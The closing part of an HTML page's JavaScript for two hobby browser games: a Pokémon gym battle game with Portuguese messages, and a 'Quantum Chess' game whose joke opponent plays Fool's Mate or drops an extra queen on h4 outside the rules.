function disablePlayerActions(disabled) { const buttons = panelButtonGrid.querySelectorAll('button'); buttons.forEach(button => button.disabled = disabled); const playerPokeballs = document.querySelectorAll('#player-team-display .pokeball'); playerPokeballs.forEach(pb => { const pokemonIndex = Array.from(pb.parentNode.children).indexOf(pb); const pkmn = playerTeam[pokemonIndex]; if (disabled) { pb.style.pointerEvents = 'none'; pb.classList.remove('clickable'); } else { if (pkmn && !pkmn.fainted && pkmn !== currentPlayerPokemon) { pb.style.pointerEvents = 'auto'; pb.classList.add('clickable'); } else { pb.style.pointerEvents = 'none'; pb.classList.remove('clickable'); } } }); }
function switchPlayerPokemon(newPokemonIndex) { const oldPlayerPokemon = currentPlayerPokemon; const newPkmn = playerTeam[newPokemonIndex]; if (!newPkmn || newPkmn.fainted || newPkmn === currentPlayerPokemon) { showMessageInPanel("Não pode trocar para este Pokémon.", true); if (oldPlayerPokemon && !oldPlayerPokemon.fainted) showMainBattleActions(); return; } panelButtonGrid.innerHTML = ''; disablePlayerActions(true); if (oldPlayerPokemon && oldPlayerPokemon.fainted && playerTeam.filter(p => !p.fainted).length > 0) { showMessageInPanel(`${trainerName} envia ${newPkmn.name}!`, true); currentPlayerPokemon = newPkmn; updatePlayerBattleDisplay(); const currentOpponent = getCurrentOpponentPokemon(); if (currentOpponent && !currentOpponent.fainted) { showMessageInPanel("Sua vez!", true); showMainBattleActions(); } else setTimeout(setupBattle, 1000); } else if (playerTeam[newPokemonIndex] && !playerTeam[newPokemonIndex].fainted && playerTeam[newPokemonIndex] !== currentPlayerPokemon) { showMessageInPanel(`${oldPlayerPokemon.name} retorna! ${trainerName} envia ${newPkmn.name}!`, true); currentPlayerPokemon = newPkmn; updatePlayerBattleDisplay(); setTimeout(opponentTurn, 2000); } }
function playerTurnAttack(move) { const opponentPokemon = getCurrentOpponentPokemon(); if (!currentPlayerPokemon || currentPlayerPokemon.fainted || !opponentPokemon || opponentPokemon.fainted) return; disablePlayerActions(true); panelButtonGrid.innerHTML = ''; if (currentPlayerPokemon.effects && currentPlayerPokemon.effects.direHitTurns > 0) { currentPlayerPokemon.effects.direHitTurns--; if (currentPlayerPokemon.effects.direHitTurns === 0) showMessageInPanel(`O efeito de Dire Hit em ${currentPlayerPokemon.name} passou.`); } const damage = calculateDamage(currentPlayerPokemon, opponentPokemon, move); opponentPokemon.currentHp -= damage; updateHealthBar(opponentPokemon, 'opponent-hp-bar', 'opponent-hp-text'); if (opponentPokemon.currentHp <= 0) { opponentPokemon.currentHp = 0; opponentPokemon.fainted = true; showMessageInPanel(`${opponentPokemon.name} desmaiou!`); updateTeamDisplay(gymTrainers[currentOpponentTrainerIndex].loadedPokemons, 'opponent-team-display', false); const nextOpponent = gymTrainers[currentOpponentTrainerIndex].loadedPokemons.find(p => !p.fainted); if (nextOpponent) { setTimeout(() => { showMessageInPanel(`${gymTrainers[currentOpponentTrainerIndex].name} envia ${nextOpponent.name}!`); document.getElementById('opponent-name').textContent = nextOpponent.name; document.getElementById('opponent-sprite').src = nextOpponent.sprite; updateHealthBar(nextOpponent, 'opponent-hp-bar', 'opponent-hp-text'); updateTeamDisplay(gymTrainers[currentOpponentTrainerIndex].loadedPokemons, 'opponent-team-display', false); showMainBattleActions(); }, 2000); } else setTimeout(setupBattle, 2000); } else setTimeout(opponentTurn, 2000); }
function opponentTurn() { const opponentPokemon = getCurrentOpponentPokemon(); if (!opponentPokemon || opponentPokemon.fainted || !currentPlayerPokemon || currentPlayerPokemon.fainted) { if (currentPlayerPokemon && !currentPlayerPokemon.fainted) showMainBattleActions(); return; } panelButtonGrid.innerHTML = ''; const randomMoveIndex = Math.floor(Math.random() * opponentPokemon.moves.length); const move = opponentPokemon.moves[randomMoveIndex]; if (!move) { showMessageInPanel(`${opponentPokemon.name} não conseguiu se mover!`, true); setTimeout(() => showMainBattleActions(), 1500); return; } const damage = calculateDamage(opponentPokemon, currentPlayerPokemon, move); currentPlayerPokemon.currentHp -= damage; updateHealthBar(currentPlayerPokemon, 'player-hp-bar', 'player-hp-text'); if (currentPlayerPokemon.currentHp <= 0) { currentPlayerPokemon.currentHp = 0; currentPlayerPokemon.fainted = true; showMessageInPanel(`${currentPlayerPokemon.name} desmaiou!`); updateTeamDisplay(playerTeam, 'player-team-display', true); const nextPlayerPokemon = playerTeam.find(p => !p.fainted); if (nextPlayerPokemon) { showMessageInPanel(`Você precisa trocar de Pokémon!`); disablePlayerActions(false); panelButtonGrid.innerHTML = ''; } else endGame(false); } else { showMessageInPanel("Sua vez!"); setTimeout(showMainBattleActions, 1500); } }
function runFromBattle() { disablePlayerActions(true); panelButtonGrid.innerHTML = ''; showMessageInPanel(`${trainerName} fugiu da batalha!`, true); currentPlayerPokemon = playerTeam.find(p => !p.fainted) || playerTeam[0]; setTimeout(() => { playerNameDisplayGym.textContent = trainerName; populateGymChoiceScreen(); pokemon_showScreen('gymChoice'); }, 2000); }
function endGame(playerWonGym) { panelButtonGrid.innerHTML = ''; nextBattleButton.style.display = 'none'; if (playerWonGym) { wonBadges.add(currentGymData.badge); showMessageInPanel(`Parabéns, ${trainerName}! Você venceu e conquistou a ${currentGymData.badge}!`, true); document.getElementById('game-over-message').textContent = `Parabéns! Você conquistou a ${currentGymData.badge}!`; playAgainButton.textContent = "Voltar para os Ginásios"; playAgainButton.onclick = () => { playerNameDisplayGym.textContent = trainerName; populateGymChoiceScreen(); pokemon_showScreen('gymChoice'); }; } else { showMessageInPanel(`Que pena, ${trainerName}. Você foi derrotado.`, true); document.getElementById('game-over-message').textContent = `Fim de Jogo. Tente novamente!`; playAgainButton.textContent = "Jogar Novamente"; playAgainButton.onclick = pokemon_resetGame; } pokemon_showScreen('gameOver'); }
startGameButton.addEventListener('click', () => pokemon_showScreen('name'));
submitNameButton.addEventListener('click', () => { trainerName = trainerNameInput.value.trim(); if (trainerName) { playerNameDisplayGym.textContent = trainerName; populateGymChoiceScreen(); pokemon_showScreen('gymChoice'); } else alert("Por favor, insira seu nome."); });
confirmPokemonChoiceButton.addEventListener('click', async () => { if (selectedPokemonForChoice.size === 3) { panelButtonGrid.innerHTML = ''; pokemon_showScreen('battle'); panelTextContent.innerHTML = `<p>Carregando dados...</p>`; const gameDataReady = await initializeFullGameData(); if (gameDataReady) await setupBattle(); } });
resetPokemonChoiceButton.addEventListener('click', resetPokemonSelection);
nextBattleButton.addEventListener('click', async () => { showMessageInPanel("Preparando para o próximo treinador...", true); panelButtonGrid.innerHTML = ''; disablePlayerActions(true); await setupBattle(); });
playAgainButton.addEventListener('click', pokemon_resetGame);
pokemon_showScreen('start');
}
// --- LÓGICA DO JOGO DE XADREZ (QUANTUM CHESS) ---
var chess_board = null;
var chess_game = new Chess();
var chess_aiMode = 'FOOLS_MATE';
const chess_bgColors = ['#050505', '#0a0e14', '#120212', '#021202'];
function initChess() {
chess_aiMode = Math.random() > 0.5 ? 'SATO_INSTANT' : 'FOOLS_MATE';
var config = {
draggable: true,
position: 'start',
pieceTheme: 'https://chessboardjs.com/img/chesspieces/wikipedia/{piece}.png',
onDragStart: (source, piece) => {
if (chess_game.game_over()) return false;
if (piece.search(/^b/) !== -1 || chess_game.turn() === 'b') return false;
},
onDrop: (source, target) => {
let move = chess_game.move({ from: source, to: target, promotion: 'q' });
if (move === null) return 'snapback';
chess_applyMatrixColor();
chess_checkStatus();
window.setTimeout(chess_aiResponse, 250);
},
onSnapEnd: () => chess_board.position(chess_game.fen())
};
chess_board = Chessboard('chess-board', config);
chess_resetGame();
}
function chess_resetGame() {
chess_game.reset();
if (chess_board) chess_board.start();
chess_aiMode = Math.random() > 0.5 ? 'SATO_INSTANT' : 'FOOLS_MATE';
$('#chess-status').text("Sincronia Estável. Modo: " + chess_aiMode);
$('#chess-math-stream').html("I/Q Behavior: Standby | Singularidade: ???");
}
function chess_applyMatrixColor() {
let c = chess_bgColors[Math.floor(Math.random() * chess_bgColors.length)];
document.body.style.backgroundColor = c;
}
function chess_updateLog(W, D, mode) {
let n = chess_game.history().length;
$('#chess-math-stream').html(`
Túnel Fino: (n+1)/2=${((n+1)/2).toFixed(1)} | (n-1)/2=${((n-1)/2).toFixed(1)} <br>
Determinante W: ${W.toFixed(2)} | <span class="highlight">D: ${D.toFixed(3)}</span><br>
Estratégia I.A: <span class="${mode === 'SATO_INSTANT' ? 'critical' : 'highlight'}">${mode}</span>
`);
}
function chess_aiResponse() {
if (chess_game.game_over()) return;
let moves = chess_game.moves();
let history = chess_game.history({ verbose: true });
let W = 0;
history.forEach(m => { if (m.color === 'w' && (m.from === 'f2' || m.from === 'g2' || m.from === 'f3')) W += 1.25; });
let D = (W + 0.5) * (1 - 0.5);
chess_updateLog(W, D, chess_aiMode);
let move = null;
if (chess_aiMode === 'SATO_INSTANT' && W > 0) {
chess_game.put({ type: 'q', color: 'b' }, 'h4');
move = moves.find(m => m.includes('Qh4')) || moves[0];
$('#chess-status').html("<span class='critical'>SINGULARIDADE SATO: COLAPSO TEMPORAL!</span>");
}
else if (chess_aiMode === 'FOOLS_MATE') {
if (history.length === 1) move = moves.find(m => m === 'e5' || m === 'e6');
if (history.length === 3) move = moves.find(m => m.includes('Qh4'));
}
if (!move) move = moves[Math.floor(Math.random() * moves.length)];
setTimeout(() => {
chess_game.move(move);
chess_board.position(chess_game.fen());
chess_applyMatrixColor();
chess_checkStatus();
}, 400);
}
function chess_checkStatus() {
let status = "Vez das Brancas";
if (chess_game.in_checkmate()) status = "COLAPSO TOTAL: XEQUE-MATE";
if (chess_game.turn() === 'b') status = "I.A. Processando I/Q...";
$('#chess-status').text(status);
}
</script>
</body>
</html>